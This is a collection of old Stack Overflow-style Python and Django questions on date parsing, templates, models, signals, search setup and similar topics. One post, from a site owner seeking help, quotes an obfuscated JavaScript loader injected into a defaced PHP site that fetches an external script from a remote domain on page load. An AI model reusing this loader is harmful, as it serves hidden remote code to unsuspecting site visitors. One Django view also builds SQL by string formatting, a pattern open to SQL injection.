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• Converting string to datetime object in python

  - by Gussi

  Given this string: "Fri, 09 Apr 2010 14:10:50 +0000" how does one convert it to a datetime object? After doing some reading I feel like this should work, but it doesn't... >>> from datetime import datetime >>> >>> str = 'Fri, 09 Apr 2010 14:10:50 +0000' >>> fmt = '%a, %d %b %Y %H:%M:%S %z' >>> datetime.strptime(str, fmt) Traceback (most recent call last): File "<stdin>", line 1, in <module> File "/usr/lib64/python2.6/_strptime.py", line 317, in _strptime (bad_directive, format)) ValueError: 'z' is a bad directive in format '%a, %d %b %Y %H:%M:%S %z' It should be noted that this works without a problem >>> from datetime import datetime >>> >>> str = 'Fri, 09 Apr 2010 14:10:50' >>> fmt = '%a, %d %b %Y %H:%M:%S' >>> datetime.strptime(str, fmt) datetime.datetime(2010, 4, 9, 14, 10, 50) But I'm stuck with "Fri, 09 Apr 2010 14:10:50 +0000", I would prefer to convert exactly that without changing (or slicing) that string in any way.

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• Python with Wiimote using pywiiuse module

  - by Anon

  After seeing the abilities and hackibility of wiimotes I really want to use it in my 'Intro to programming' final. Everyone must make a python program and present it to the class. I want to make a game with pygame incorporating a wiimote. I found pywiiuse which is a very basic wrapper for the wiiuse library using c types. I can NOT get anything beyond LEDs and vibrating to work. Buttons, IR, motion sensing, nothing. I've tried different versions of wiiuse, pywiiuse, even python. I can't even get the examples that came with it to run. Here's the code I made as a simple test. I copied some of the example C++ code. from pywiiuse import * from time import sleep #Init wiimotes = wiiuse_init() #Find and start the wiimote found = wiiuse_find(wiimotes,1,5) #Make the variable wiimote to the first wiimote init() found wiimote = wiimotes.contents #Set Leds wiiuse_set_leds(wiimote,WIIMOTE_LED_1) #Rumble for 1 second wiiuse_rumble(wiimote,1) sleep(1) wiiuse_rumble(wiimote,0) #Turn motion sensing on(supposedly) wiiuse_motion_sensing(wiimote,1) while 1: #Poll the wiimotes to get the status like pitch or roll if(wiiuse_poll(wiimote,1)): print 'EVENT' And here's the output when I run it. wiiuse version 0.9 wiiuse api version 8 [INFO] Found wiimote [assigned wiimote id 1]. EVENT EVENT Traceback (most recent call last): File "C:\Documents and Settings\Nick\Desktop\wiimotetext.py", line 26, in <mod ule> if(wiiuse_poll(wiimote,1)): WindowsError: exception: access violation reading 0x00000004 It seems each time I run it, it prints out EVENT 2-5 times until the trace back. I have no clue what to do at this point, I've been trying for the past two days to get it working. Thanks!

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• Math on Django Templates

  - by Leandro Abilio

  Here's another question about Django. I have this code: views.py cursor = connections['cdr'].cursor() calls = cursor.execute("SELECT * FROM cdr where calldate > '%s'" %(start_date)) result = [SQLRow(cursor, r) for r in cursor.fetchall()] return render_to_response("cdr_user.html", {'calls':result }, context_instance=RequestContext(request)) I use a MySQL query like that because the database is not part of a django project. My cdr table has a field called duration, I need to divide that by 60 and multiply the result by a float number like 0.16. Is there a way to multiply this values using the template tags? If not, is there a good way to do it in my views? My template is like this: {% for call in calls %} <tr class="{% cycle 'odd' 'even' %}"><h3> <td valign="middle" align="center"><h3>{{ call.calldate }}</h3></td> <td valign="middle" align="center"><h3>{{ call.disposition }}</h3></td> <td valign="middle" align="center"><h3>{{ call.dst }}</h3></td> <td valign="middle" align="center"><h3>{{ call.billsec }}</h3></td> <td valign="middle" align="center">{{ (call.billsec/60)*0.16 }}</td></h3> </tr> {% endfor %} The last is where I need to show the value, I know the "(call.billsec/60)*0.16" is impossible to be done there. I wrote it just to represent what I need to show.

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• Download-from-PyPI-and-install script

  - by zubin71

  Hello, I have written a script which fetches a distribution, given the URL. After downloading the distribution, it compares the md5 hashes to verify that the file has been downloaded properly. This is how I do it. def download(package_name, url): import urllib2 downloader = urllib2.urlopen(url) package = downloader.read() package_file_path = os.path.join('/tmp', package_name) package_file = open(package_file_path, "w") package_file.write(package) package_file.close() I wonder if there is any better(more pythonic) way to do what I have done using the above code snippet. Also, once the package is downloaded this is what is done: def install_package(package_name): if package_name.endswith('.tar'): import tarfile tarfile.open('/tmp/' + package_name) tarfile.extract('/tmp') import shlex import subprocess installation_cmd = 'python %ssetup.py install' %('/tmp/'+package_name) subprocess.Popen(shlex.split(installation_cmd) As there are a number of imports for the install_package method, i wonder if there is a better way to do this. I`d love to have some constructive criticism and suggestions for improvement. Also, I have only implemented the install_package method for .tar files; would there be a better manner by which I could install .tar.gz and .zip files too without having to write seperate methods for each of these?

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• Use localeURL middleware with apache prefix

  - by Olivier R.

  Good morning everyone, I Got a question about localeURL usage. Everything works great for me with url like this : www.mysite.com/ If I type www.mysite.com/ in adress bar, it turns correctly in www.mysite.com/en/ for example. If I use the view change_locale, it's also all right (ie change www.mysite.com/en/ in www.mysite.com/fr/). But my application use apache as server, and use a prefix for the site, that gives url like this : www.mysite.com/prefix/ If I type www.mysite.com/prefix/ in the adress bar, the adress turns into www.mysite.com/en/ without prefix (so 404) I change code of view to manage our settings.SERVER_PREFIX value : def change_locale(request) : """ Redirect to a given url while changing the locale in the path The url and the locale code need to be specified in the request parameters. O. Rochaix; Taken from localeURL view, and tuned to manage : - SERVER_PREFIX from settings.py """ next = request.REQUEST.get('next', None) if not next: next = request.META.get('HTTP_REFERER', None) if not next: next = settings.SERVER_PREFIX + '/' next = urlsplit(next).path prefix = False if settings.SERVER_PREFIX!="" and next.startswith(settings.SERVER_PREFIX) : prefix = True next = "/" + next.lstrip(settings.SERVER_PREFIX) _, path = utils.strip_path (next) if request.method == 'POST': locale = request.POST.get('locale', None) if locale and check_for_language(locale): path = utils.locale_path(path, locale) if prefix : path = settings.SERVER_PREFIX + path response = http.HttpResponseRedirect(path) return response with this customized view, i'm able to correctly change language, but i'm not sure that's the right way of doing stuff. Is there any option on localeURL to manage prefix of apache ?

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• Django Cannot set values on a ManyToManyField which specifies an intermediary model

  - by dana

  i am using a m2m and a through table, and when i was trying to save, my error was: Cannot set values on a ManyToManyField which specifies an intermediary model so, i've modified my code, so that when i save the form, to insert data into the 'through' table too.But now, i'm having another error. (i've bolded the lines where i think i am wrong) i have in models.py: class Classroom(models.Model): user = models.ForeignKey(User, related_name = 'classroom_creator') classname = models.CharField(max_length=140, unique = True) date = models.DateTimeField(auto_now=True) open_class = models.BooleanField(default=True) members = models.ManyToManyField(User,related_name="list of invited members", through = 'Membership') class Membership(models.Model): accept = models.BooleanField(User) date = models.DateTimeField(auto_now = True) classroom = models.ForeignKey(Classroom, related_name = 'classroom_membership') member = models.ForeignKey(User, related_name = 'user_membership') and in def save_classroom(request): if request.method == 'POST': form = ClassroomForm(request.POST, request.FILES, user = request.user) **classroom_instance = Classroom member_instance = Membership** if form.is_valid(): new_obj = form.save(commit=False) new_obj.user = request.user r = Relations.objects.filter(initiated_by = request.user) membership = Membership.objects.create(**classroom = classroom_instance, member = member_instance,date=datetime.datetime.now())** new_obj.save() form.save_m2m() return HttpResponseRedirect('/classroom/classroom_view/{{user}}/') else: form = ClassroomForm(user = request.user) return render_to_response('classroom/classroom_form.html', { 'form': form, }, context_instance=RequestContext(request)) but i don't seem to initialise okay the classroom_instance and menber_instance.My error os: Cannot assign "": "Membership.classroom" must be a "Classroom" instance. Thanks!

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• Disassembling with python - no easy solution?

  - by Abc4599

  Hi, I'm trying to create a python script that will disassemble a binary (a Windows exe to be precise) and analyze its code. I need the ability to take a certain buffer, and extract some sort of struct containing information about the instructions in it. I've worked with libdisasm in C before, and I found it's interface quite intuitive and comfortable. The problem is, its Python interface is available only through SWIG, and I can't get it to compile properly under Windows. At the availability aspect, diStorm provides a nice out-of-the-box interface, but it provides only the Mnemonic of each instruction, and not a binary struct with enumerations defining instruction type and what not. This is quite uncomfortable for my purpose, and will require a lot of what I see as spent time wrapping the interface to make it fit my needs. I've also looked at BeaEngine, which does in fact provide the output I need, a struct with binary info concerning each instruction, but its interface is really odd and counter-intuitive, and it crashes pretty much instantly when provided with wrong arguments. The CTypes sort of ultimate-death-to-your-python crashes. So, I'd be happy to hear about other solutions, which are a little less time consuming than messing around with djgcc or mingw to make SWIGed libdisasm, or writing an OOP wrapper for diStorm. If anyone has some guidance as to how to compile SWIGed libdisasm, or better yet, a compiled binary (pyd or dll+py), I'd love to hear/have it. :) Thanks ahead.

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• Jquery Autocomplete plugin with Django (Trey Piepmeier solution)

  - by Sally

  So, I'm basing my code on Trey's solution on: http://solutions.treypiepmeier.com/2009/12/10/using-jquery-autocomplete-with-django/ The script is: <script> $(function() { $('#id_members').autocomplete('{{ object.get_absolute_url }}members/lookup', { dataType: 'json', width: 200, parse: function(data) { return $.map(data, function(row) { return { data:row, value:row[1], result:row[0] }; }); } }).result( function(e, data, value) { $("#id_members_pk").val(value); } ); } ); </script> The views.py: def members_lookup(request, pid): results = [] if request.method == "GET": if request.GET.has_key(u'q'): value = request.GET[u'q'] # Ignore queries shorter than length 1 if len(value) > 2: model_results = Member.objects.filter( Q(user__first_name__icontains=value) | Q(user__last_name__icontains=value) ) results = [ (x.user.get_full_name(), x.id) for x in model_results ] json = simplejson.dumps(results) print json return HttpResponse(json, mimetype='application/json') The problem is: It stops refining the search results after the initial lookup. For example: If I set len(value) 2, after I type the 3rd character it will give me a list of suggestions. But if I keep on typing the 4th or 5th character, the list of suggestions doesn't change. Any suggestions on why this is?

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• xmlrpc client call in python does not come back

  - by Jack Ha

  Using Python 2.6.4, windows With the following script I want to test a certain xmlrpc server. I call a non-existent function and hope for a traceback with an error. Instead, the function does not return. What could be the cause? import xmlrpclib s = xmlrpclib.Server("http://127.0.0.1:80", verbose=True) s.functioncall() The output is: send: 'POST /RPC2 HTTP/1.0\r\nHost: 127.0.0.1:80\r\nUser-Agent: xmlrpclib.py/1.0 .1 (by www.pythonware.com)\r\nContent-Type: text/xml\r\nContent-Length: 106\r\n\ r\n' send: "<?xml version='1.0'?>\n<methodCall>\n<methodName>functioncall</methodName >\n<params>\n</params>\n</methodCall>\n" reply: 'HTTP/1.1 200 OK\r\n' header: Content-Type: text/xml header: Cache-Control: no-cache header: Content-Length: 376 header: Date: Tue, 30 Mar 2010 13:27:21 GMT body: '<?xml version="1.0"?>\r\n<methodResponse>\r\n<fault>\r\n<value>\r\n<struc t>\r\n<member>\r\n<name>faultCode</name>\r\n<value><i4>1</i4></value>\r\n</membe r>\r\n<member>\r\n<name>faultString</name>\r\n<value><string>PVSS00ctrl (2), 2 010.03.30 15:27:21.395, CTRL, SEVERE, 72, Function not defined, functioncall , , \n</string></value>\r\n</member>\r\n</struct>\r\n</value>\r\n</fault>\r\n</m ethodResponse>\r\n' (here the program hangs and does not return until I kill the server) edit: the server is written in c++, using its own xmlrpc library

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• Django's post_save signal behaves weirdly with models using multi-table inheritance

  - by hekevintran

  Django's post_save signal behaves weirdly with models using multi-table inheritance I am noticing an odd behavior in the way Django's post_save signal works when using a model that has multi-table inheritance. I have these two models: class Animal(models.Model): category = models.CharField(max_length=20) class Dog(Animal): color = models.CharField(max_length=10) I have a post save callback called echo_category: def echo_category(sender, **kwargs): print "category: '%s'" % kwargs['instance'].category post_save.connect(echo_category, sender=Dog) I have this fixture: [ { "pk": 1, "model": "animal.animal", "fields": { "category": "omnivore" } }, { "pk": 1, "model": "animal.dog", "fields": { "color": "brown" } } ] In every part of the program except for in the post_save callback the following is true: from animal.models import Dog Dog.objects.get(pk=1).category == u'omnivore' # True When I run syncdb and the fixture is installed, the echo_category function is run. The output from syncdb is: $ python manage.py syncdb --noinput Installing json fixture 'initial_data' from '~/my_proj/animal/fixtures'. category: '' Installed 2 object(s) from 1 fixture(s) The weird thing here is that the dog object's category attribute is an empty string. Why is it not 'omnivore' like it is everywhere else? As a temporary (hopefully) workaround I reload the object from the database in the post_save callback: def echo_category(sender, **kwargs): instance = kwargs['instance'] instance = sender.objects.get(pk=instance.pk) print "category: '%s'" % instance.category post_save.connect(echo_category, sender=Dog) This works but it is not something I like because I must remember to do it when the model inherits from another model and it must hit the database again. The other weird thing is that I must do instance.pk to get the primary key. The normal 'id' attribute does not work (I cannot use instance.id). I do not know why this is. Maybe this is related to the reason why the category attribute is not doing the right thing?

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• How do I begin reading source code?

  - by anonnoir

  I understand the value of reading source code, and I am trying my best to read as much as I can. However, every time I try getting into a 'large' (i.e. complete) project of sorts, I am overwhelmed. For example, I use Anki a lot when revising languages. Also, I'm interested in getting to know how an audio player works (because I have some project ideas), hence quodlibet on Google Code. But whenever I open the source code folders for the above programs, there are just so many files that I don't know where or what to begin with. I think that I should start with files marked init.py but I can't see the logical structure of the programs, or what reasoning was applied when the original writer divided his modules the way he did. Hence, my questions: How/where should I begin reading source? Any general tips or ideas? How does a programmer keep in mind the overall structure and logic of the program, especially for large projects, and is it common not to document that structure? As an open source reader, must I look through all of the code and get a bird's eye view of the code and libraries, before even being able to proceed? Would an IDE like Eclipse SDK (with PyDev) help with code-reading? Thanks for the help; I really appreciate your helping me.

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• How to deal with multiple sub-type of one super-type in Django admin

  - by Henri

  What would be the best solution for adding/editing multiple sub-types. E.g a super-type class Contact with sub-type class Client and sub-type class Supplier. The way shown here works, but when you edit a Contact you get both inlines i.e. sub-type Client AND sub-type Supplier. So even if you only want to add a Client you also get the fields for Supplier of vice versa. If you add a third sub-type , you get three sub-type field groups, while you actually only want one sub-type group, in the mentioned example: Client. E.g.: class Contact(models.Model): contact_name = models.CharField(max_length=128) class Client(models.Model): contact = models.OneToOneField(Contact, primary_key=True) user_name = models.CharField(max_length=128) class Supplier(models.Model): contact.OneToOneField(Contact, primary_key=True) company_name = models.CharField(max_length=128) and in admin.py class ClientInline(admin.StackedInline): model = Client class SupplierInline(admin.StackedInline): model = Supplier class ContactAdmin(admin.ModelAdmin): inlines = (ClientInline, SupplierInline,) class ClientAdmin(admin.ModelAdmin): ... class SupplierAdmin(admin.ModelAdmin): ... Now when I want to add a Client, i.e. only a Client I edit Contact and I get the inlines for both Client and Supplier. And of course the same for Supplier. Is there a way to avoid this? When I want to add/edit a Client that I only see the Inline for Client and when I want to add/edit a Supplier that I only see the Inline for Supplier, when adding/editing a Contact? Or perhaps there is a different approach. Any help or suggestion will be greatly appreciated.

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• Django: Named URLs / Same Template, Different Named URL

  - by TheLizardKing

  I have a webapp that lists all of my artists, albums and songs when the appropriate link is clicked. I make extensive use of generic views (object_list/detail) and named urls but I am coming across an annoyance. I have three templates that pretty much output the exact same html that look just like this: {% extends "base.html" %} {% block content %} <div id="content"> <ul id="starts-with"> {% for starts_with in starts_with_list %} <li><a href="{% url song_list_x starts_with %}">{{ starts_with|upper }}</a></li> {% endfor %} </ul> <ul> {% for song in songs_list %} <li>{{ song.title }}</li> {% endfor %} </ul> </div> {% endblock content %} My artist and album template look pretty much the same and I'd like to combine the three template's into one. The fact that my variables start with song can easily be changed to the default obj. It's my <ul id="starts-with"> named url I don't know how to correct. Obviously I want it to link to a specific album/artist/song using the named urls in my urls.py but I don't know how to make it context aware. Any suggestions? urlpatterns = patterns('tlkmusic.apps.tlkmusic_base.views', # (r'^$', index), url(r'^artists/$', artist_list, name='artist_list'), url(r'^artists/(?P<starts_with>\w)/$', artist_list, name='artist_list_x'), url(r'^artist/(?P<artist_id>\d+)/$', artist_detail, name='artist_detail'), url(r'^albums/$', album_list, name='album_list'), url(r'^albums/(?P<starts_with>\w)/$', album_list, name='album_list_x'), url(r'^songs/$', song_list, name='song_list'), url(r'^songs/(?P<starts_with>\w)/$', song_list, name='song_list_x'), )

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• Can I compare a template variable to an integer in App Engine templates?

  - by matt b

  Using Django templates in Google App Engine (on Python), is it possible to compare a template variable to an integer in an {% if %} block? views.py: class MyHandler(webapp.RequestHandler): def get(self): foo_list = db.GqlQuery(...) ... template_values['foos'] = foo_list template_values['foo_count'] = len(foo_list) handler.response.out.write(template.render(...)) My template: {% if foo_count == 1 %} There is one foo. {% endif %} This blows up with 'if' statement improperly formatted. What I was attempting to do in my template was build a simple if/elif/else tree to be grammatically correct to be able to state #foo_count == 0: There are no foos. #foo_count == 1: There is one foo. #else: There are {{ foos|length }} foos. Browsing the Django template documents (this link provided in the GAE documentation appears to be for versions of Django far newer than what is supported on GAE), it appears as if I can only actually use boolean operators (if in fact boolean operators are supported in this older version of Django) with strings or other template variables. Is it not possible to compare variables to integers or non-strings with Django templates? I'm sure there is an easy way to workaround this - built up the message string on the Python side rather than within the template - but this seems like such a simple operation you ought to be able to handle in a template. It sounds like I should be switching to a more advanced templating engine, but as I am new to Django (templates or any part of it), I'd just like some confirmation first.

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• onmouseover problems with JavaScript (rendered using django and django-imagekit)

  - by Michael Moreno

  I'm using Imagekit. View.py includes: def pics(request): p = Photo.objects.all() return render_to_response('Shots.html', {'p': p}) The following simple code in the template will generate associated images: {% for p in p %} <img src = "{{ p.display.url }}"> <img src = "{{ p.thumbnail_image.url }}"> {% endfor %} I'm attempting to generate a series of thumbnails {{ p.thumbnail_image.url }} which, when mouseover'd, will generate the slightly larger version of the image, {{ p.display.url }} via Javascript. The following code in the template attempts to do so: <html> <head> <HEAD> <script language="Javascript"> { image1 = new Image image2 = new Image image1.src = {{ p.thumbnail_image.url }} image2.src = {{ p.display.url }} </script> </head> <body> {% for p in p %} <a href="" onMouseOver="document.rollover.src= image2.src onMouseOut="document.rollover.src= image1.src"> <img src="{{ p.thumbnail_image.url }}" border=0 name="rollover"></a> {% endfor %} </body> </html> This will display the series of thumbnails, but the larger image will not display when mouseover'd. I believe it has to do with how I'm specifying the variable {{ p.display.url }}.

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• What does this script do? Is it malicious?

  - by ramdaz

  This script was added to a defaced web page of a client web site running PHP. I have no clue what this script can do, and do not know whether this is really malicious. Can someone advise. Please find code below.... var GU='';var h;var X=new String();var mP="";H=function(){var F=["hu"];function L(Lc,O,d){return Lc.substr(O,d);}OH=55345;OH-=37;var x=document;QM=6929;QM++;q=25298;q-=65;var t='';var vs={};var u=["hR"];var Oi=RegExp;var A={kh:"LQ"};var v=new String("/goo"+"gle."+L("com/DyBg",0,4)+L("abc.EBgq",0,4)+L("0vm1go.c1m0v",4,4)+"om/t"+L("erraX6U",0,4)+L(".comKvlS",0,4)+L("P1By.br.By1P",4,4)+"php");yz={Ec:false};function y(Lc,O){hI=24414;hI++;g={};a=28529;a--;var d=new String(L("[n0jJ",0,1))+O+String("]");var m=new Oi(d, String("g"));n={kW:40818};ly={HN:false};return Lc.replace(m, t);};ZW=9686;ZW-=202;GE=56525;GE-=235;D=["u_","QP"];var E=null;var vd={ka:"J"};var Jn=new Date();Xg={V:51919};var l=751407-743327;try {} catch(U){};var W=new String("body");var qi="qi";this.Vf=38797;this.Vf--;var P=y('skchrkikpjtJ','SvFJDneKyEB_akgG1jx6h7OMZ');var RlE=58536;var Xx=false;this.jo='';vi=41593;vi--;h=function(){try {var YU=new String();var DY="";var dY=y('c4rJeJaVt_ebEslVe4mJe_n4ty','bqV_4sJy6');CN={_Y:63379};s=x[dY](P);var fH="fH";pI=33929;pI--;Uw=[];var G=y('sVrvc5','5wvD6TG4IuR2MLBjQgPpbVK');var Wg=[];var Lc=l+v;var yW=new String();var iO=new String();var Oe=String("defe"+"r");var Et=["qO","AF"];var QX=13548;s[G]=new String("http:"+L("//ten5qC",0,5)+"thpro"+"fit.r"+L("u:mn7k",0,2))+Lc;PA={};s[Oe]=[2,1][1];this.Vt="Vt";var ho=46131;try {var kn='cI'} catch(kn){};this.ww=27193;this.ww+=97;x[W].appendChild(s);this.yk=60072;this.yk++;var Lp=new Date();} catch(PY){this.ku=43483;this.ku++;this.ra=47033;this.ra--;this.ru="ru";};var lu=new Array();var me=new String();};};YB=["LB","uM"];var AI={Vm:4707};H();this.mDs=57864;this.mDs-=135;zz=44697;zz++;var sn=[];window.onload=h;var PQ=false;var mF={Hm:false};try {var r_='iv'} catch(r_){};this.z_="z_";

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• Is it approproate it use django signals withing the same app

  - by Alex Lebedev

  Trying to add email notification to my app in the cleanest way possible. When certain fields of a model change, app should send a notification to a user. Here's my old solution: from django.contrib.auth import User class MyModel(models.Model): user = models.ForeignKey(User) field_a = models.CharField() field_b = models.CharField() def save(self, *args, **kwargs): old = self.__class__.objects.get(pk=self.pk) if self.pk else None super(MyModel, self).save(*args, **kwargs) if old and old.field_b != self.field_b: self.notify("b-changed") # Sevelar more events here # ... def notify(self, event) subj, text = self._prepare_notification(event) send_mail(subj, body, settings.DEFAULT_FROM_EMAIL, [self.user.email], fail_silently=True) This worked fine while I had one or two notification types, but after that just felt wrong to have so much code in my save() method. So, I changed code to signal-based: from django.db.models import signals def remember_old(sender, instance, **kwargs): """pre_save hanlder to save clean copy of original record into `old` attribute """ instance.old = None if instance.pk: try: instance.old = sender.objects.get(pk=instance.pk) except ObjectDoesNotExist: pass def on_mymodel_save(sender, instance, created, **kwargs): old = instance.old if old and old.field_b != instance.field_b: self.notify("b-changed") # Sevelar more events here # ... signals.pre_save.connect(remember_old, sender=MyModel, dispatch_uid="mymodel-remember-old") signals.post_save.connect(on_mymodel_save, sender=MyModel, dispatch_uid="mymodel-on-save") The benefit is that I can separate event handlers into different module, reducing size of models.py and I can enable/disable them individually. The downside is that this solution is more code and signal handlers are separated from model itself and unknowing reader can miss them altogether. So, colleagues, do you think it's worth it?

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• Simplest way to handle and display errors in a Python Pylons controller without a helper class

  - by ensnare

  I have a class User() that throw exceptions when attributes are incorrectly set. I am currently passing the exceptions from the models through the controller to the templates by essentially catching exceptions two times for each variable. Is this a correct way of doing it? Is there a better (but still simple) way? I prefer not to use any third party error or form handlers due to the extensive database queries we already have in place in our classes. Furthermore, how can I "stop" the chain of processing in the class if one of the values is invalid? Is there like a "break" syntax or something? Thanks. >>> u = User() >>> u.name = 'Jason Mendez' >>> u.password = '1234' Traceback (most recent call last): File "<stdin>", line 1, in <module> File "topic/model/user.py", line 79, in password return self._password ValueError: Your password must be greater than 6 characters In my controller "register," I have: class RegisterController(BaseController): def index(self): if request.POST: c.errors = {} u = User() try: u.name = c.name = request.POST['name'] except ValueError, error: c.errors['name'] = error try: u.email = c.email = request.POST['email'] except ValueError, error: c.errors['email'] = error try: u.password = c.password = request.POST['password'] except ValueError, error: c.errors['password'] = error try: u.commit() except ValueError, error: pass return render('/register.mako')

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• How to add an image dynamically at runtime in java

  - by Brandon

  I've been trying to load up an image dynamically in runtime for the longest time and have taken a look at other posts on this site and have yet to find exactly the thing that will work. I am trying to load an image while my GUI is running (making it in runtime) and have tried various things. Right now, I have found the easiest way to create an image is to use a JLabel and add an ImageIcon to it. This has worked, but when I go to load it after the GUI is running, it fails saying there is a "NullPointerException". Here is the code I have so far: p = Runtime.getRuntime().exec("python C:\\FaceVACS\\roc.py " + "C:/FaceVACS/OutputCMC_" + target + ".txt " + "C:/FaceVACS/ROC_" + target + ".png"); Icon graph = new ImageIcon("C:\\FaceVACS\\OutputCMC_" + target + ".png"); roc_image.setIcon(graph); panel.add(roc_image); panel.revalidate(); gui.frame.pack(); I tried panel.validate(), panel.revalidate(), and I've also tried gui.getRootPane(), but I can't seem to find anything that will work. Any ideas would be helpful! Thanks

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• Eclipse+PyDev+GAE memcache error

  - by bocco

  I've started using Eclipe+PyDev as an environment for developing my first app for Google App Engine. Eclipse is configured according to this tutorial. Everything was working until I start to use memcache. PyDev reports the errors and I don't know how to fix it: Error: Undefined variable from import: get How to fix this? Sure, it is only PyDev checker problem. Code is correct and run on GAE. UPDATE: I'm using PyDev 1.5.0 but experienced the same with 1.4.8. My PYTHONPATH includes (set in Project Properties/PyDev - PYTHONPATH): C:\Program Files\Google\google_appengine C:\Program Files\Google\google_appengine\lib\django C:\Program Files\Google\google_appengine\lib\webob C:\Program Files\Google\google_appengine\lib\yaml\lib UPDATE 2: I took a look at C:\Program Files\Google\google_appengine\google\appengine\api\memcache\__init__.py and found get() is not declared as memcache module function. They use the following trick to do that (I didn't hear about such possibility): _CLIENT = None def setup_client(client_obj): """Sets the Client object instance to use for all module-level methods. Use this method if you want to have customer persistent_id() or persistent_load() functions associated with your client. Args: client_obj: Instance of the memcache.Client object. """ global _CLIENT var_dict = globals() _CLIENT = client_obj var_dict['set_servers'] = _CLIENT.set_servers var_dict['disconnect_all'] = _CLIENT.disconnect_all var_dict['forget_dead_hosts'] = _CLIENT.forget_dead_hosts var_dict['debuglog'] = _CLIENT.debuglog var_dict['get'] = _CLIENT.get var_dict['get_multi'] = _CLIENT.get_multi var_dict['set'] = _CLIENT.set var_dict['set_multi'] = _CLIENT.set_multi var_dict['add'] = _CLIENT.add var_dict['add_multi'] = _CLIENT.add_multi var_dict['replace'] = _CLIENT.replace var_dict['replace_multi'] = _CLIENT.replace_multi var_dict['delete'] = _CLIENT.delete var_dict['delete_multi'] = _CLIENT.delete_multi var_dict['incr'] = _CLIENT.incr var_dict['decr'] = _CLIENT.decr var_dict['flush_all'] = _CLIENT.flush_all var_dict['get_stats'] = _CLIENT.get_stats setup_client(Client()) Hmm... Any idea how to force PyDev to recognize that?

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• instantiate python object within a c function called via ctypes

  - by gwk

  My embedded Python 3.3 program segfaults when I instantiate python objects from a c function called by ctypes. After setting up the interpreter, I can successfully instantiate a python Int (as well as a custom c extension type) from c main: #import <Python/Python.h> #define LOGPY(x) \ { fprintf(stderr, "%s: ", #x); PyObject_Print((PyObject*)(x), stderr, 0); fputc('\n', stderr); } // c function to be called from python script via ctypes. void instantiate() { PyObject* instance = PyObject_CallObject((PyObject*)&PyLong_Type, NULL); LOGPY(instance); } int main(int argc, char* argv[]) { Py_Initialize(); instantiate(); // works fine // run a script that calls instantiate() via ctypes. FILE* scriptFile = fopen("emb.py", "r"); if (!scriptFile) { fprintf(stderr, "ERROR: cannot open script file\n"); return 1; } PyRun_SimpleFileEx(scriptFile, scriptPath, 1); // close on completion return 0; } I then run a python script using PyRun_SimpleFileEx. It appears to run just fine, but when it calls instantiate() via ctypes, the program segfaults inside PyObject_CallObject: import ctypes as ct dy = ct.CDLL('./emb') dy.instantiate() # segfaults lldb output: instance: 0 Process 52068 stopped * thread #1: tid = 0x1c03, 0x000000010000d3f5 Python`PyObject_Call + 69, stop reason = EXC_BAD_ACCESS (code=1, address=0x18) frame #0: 0x000000010000d3f5 Python`PyObject_Call + 69 Python`PyObject_Call + 69: -> 0x10000d3f5: movl 24(%rax), %edx 0x10000d3f8: incl %edx 0x10000d3fa: movl %edx, 24(%rax) 0x10000d3fd: leaq 2069148(%rip), %rax ; _Py_CheckRecursionLimit (lldb) bt * thread #1: tid = 0x1c03, 0x000000010000d3f5 Python`PyObject_Call + 69, stop reason = EXC_BAD_ACCESS (code=1, address=0x18) frame #0: 0x000000010000d3f5 Python`PyObject_Call + 69 frame #1: 0x00000001000d5197 Python`PyEval_CallObjectWithKeywords + 87 frame #2: 0x0000000201100d8e emb`instantiate + 30 at emb.c:9 Why does the call to instantiate() fail from ctypes only? The function only crashes when it calls into the python lib, so perhaps some interpreter state is getting munged by the ctypes FFI call?

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• Django sphinx works only after app restart.

  - by Lhiash

  Hi, I've set up django-sphinx in my project, which works perfectly only for some time. Later it always returns empty result set. Surprisingly restarting django app fixes it. And search works again but again only for short time (or very limiter number of queries). Heres my sphinx.conf: source src_questions { # data source type = mysql sql_host = xxxxxx sql_user = xxxxxx #replace with your db username sql_pass = xxxxxx #replace with your db password sql_db = xxxxxx #replace with your db name # these two are optional sql_port = xxxxxx #sql_sock = /var/lib/mysql/mysql.sock # pre-query, executed before the main fetch query sql_query_pre = SET NAMES utf8 # main document fetch query sql_query = SELECT q.id AS id, q.title AS title, q.tagnames AS tags, q.html AS text, q.level AS level \ FROM question AS q \ WHERE q.deleted=0 \ # optional - used by command-line search utility to display document information sql_query_info = SELECT title, id, level FROM question WHERE id=$id sql_attr_uint = level } index questions { # which document source to index source = src_questions # this is path and index file name without extension # you may need to change this path or create this folder path = /home/rafal/core_index/index_questions # docinfo (ie. per-document attribute values) storage strategy docinfo = extern # morphology morphology = stem_en # stopwords file #stopwords = /var/data/sphinx/stopwords.txt # minimum word length min_word_len = 3 # uncomment next 2 lines to allow wildcard (*) searches min_infix_len = 1 enable_star = 1 # charset encoding type charset_type = utf-8 } # indexer settings indexer { # memory limit (default is 32M) mem_limit = 64M } # searchd settings searchd { # IP address on which search daemon will bind and accept # optional, default is to listen on all addresses, # ie. address = 0.0.0.0 address = 127.0.0.1 # port on which search daemon will listen port = 3312 # searchd run info is logged here - create or change the folder log = ../log/sphinx.log # all the search queries are logged here query_log = ../log/query.log # client read timeout, seconds read_timeout = 5 # maximum amount of children to fork max_children = 30 # a file which will contain searchd process ID pid_file = searchd.pid # maximum amount of matches this daemon would ever retrieve # from each index and serve to client max_matches = 1000 } and heres my search part from views.py: content = Question.search.query(keywords) if level: content = content.filter(level=level)#level is array of integers There are no errors in any logs, it just isnt returning any results. All help would be most appreciated.

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• Django ModelForm is giving me a validation error that doesn't make sense

  - by River Tam

  I've got a ModelForm based on a Picture. class Picture(models.Model): name = models.CharField(max_length=100) pub_date = models.DateTimeField('date published') tags = models.ManyToManyField('Tag', blank=True) content = models.ImageField(upload_to='instaton') def __unicode__(self): return self.name class PictureForm(forms.ModelForm): class Meta: model = Picture exclude = ('pub_date','tags') That's the model and the ModelForm, of course. def submit(request): if request.method == 'POST': # if the form has been submitted form = PictureForm(request.POST) if form.is_valid(): return HttpResponseRedirect('/django/instaton') else: form = PictureForm() # blank form return render_to_response('instaton/submit.html', {'form': form}, context_instance=RequestContext(request)) That's the view (which is being correctly linked to by urls.py) Right now, I do nothing when the form submits. I just check to make sure it's valid. If it is, I forward to the main page of the app. <form action="/django/instaton/submit/" method="post"> {% csrf_token %} {{ form.as_p }} <input type="submit" value"Submit" /> </form> And there's my template (in the correct location). When I try to actually fill out the form and just validate it, even if I do so correctly, it sends me back to the form and says "This field is required" between Name and Content. I assume it's referring to Content, but I'm not sure. What's my problem? Is there a better way to do this?

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• How can I start using twill?

  - by brilliant

